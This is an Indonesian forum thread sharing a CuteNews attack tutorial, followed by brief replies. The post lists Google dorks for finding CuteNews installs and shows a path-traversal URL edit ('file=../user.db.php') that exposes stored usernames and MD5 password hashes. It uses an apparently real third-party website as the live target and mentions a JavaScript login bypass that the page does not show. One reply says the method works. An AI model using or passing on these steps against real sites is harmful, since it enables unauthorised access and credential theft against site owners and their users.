CuteNews Exploit

salam kaka,

kalo harap di hapus ya .

CuteNews mungkin adalah salah satu CMS paling mudah diinstall, dipake dll. Tapi, Website yang pake CMS ini juga paling mudah diisengin. :))

Buat nyari website yang make CuteNews, seperti biasa. Kita harus tanya sama om Google. Hmmm… Ditulis pake format step by step aja, ah..

1. cari web yg make CuteNews dengan dork :

Code:

inurl:”news/file.php?file=” ,
inurl:”content/file.php?file=” ,
inurl:”cutenews/file.php?file=”,

2. Nah, nanti dapetnya link donlot. contohnya: http://www.weingut-hebenstreit.at/cutenews/file.php?file=CHARDONNAY.pdf
3. Edit URL-nya jadi: http://www.weingut-hebenstreit.at/cutenews/file.php?file=../user.db.php
4. Dapet deh. File PHP yang isinya username, hash MD5 password dll!!! wekz… :)
5. Loginnya di:http://www.weingut-hebenstreit.at/cutenews.
Cuekin login form. Masbro bisa login dg Javascript berikut:

sumber:

keren ni exploitnya

ijin nyimak

javascryptnya kurang tuh om.. perbaiki dunk

nesta wrote:

javascryptnya kurang tuh om.. perbaiki dunk

yang kurang yang mana om?

gatraperdana wrote:

nesta wrote:

javascryptnya kurang tuh om.. perbaiki dunk

yang kurang yang mana om?

cari aja sendiri. ada kok yang kurang... gini dah kalo hasil copas.

ane edit dikit thread nya om. .

tutor nya WORKS...
ini hasil 1 jam muter"

Spoiler: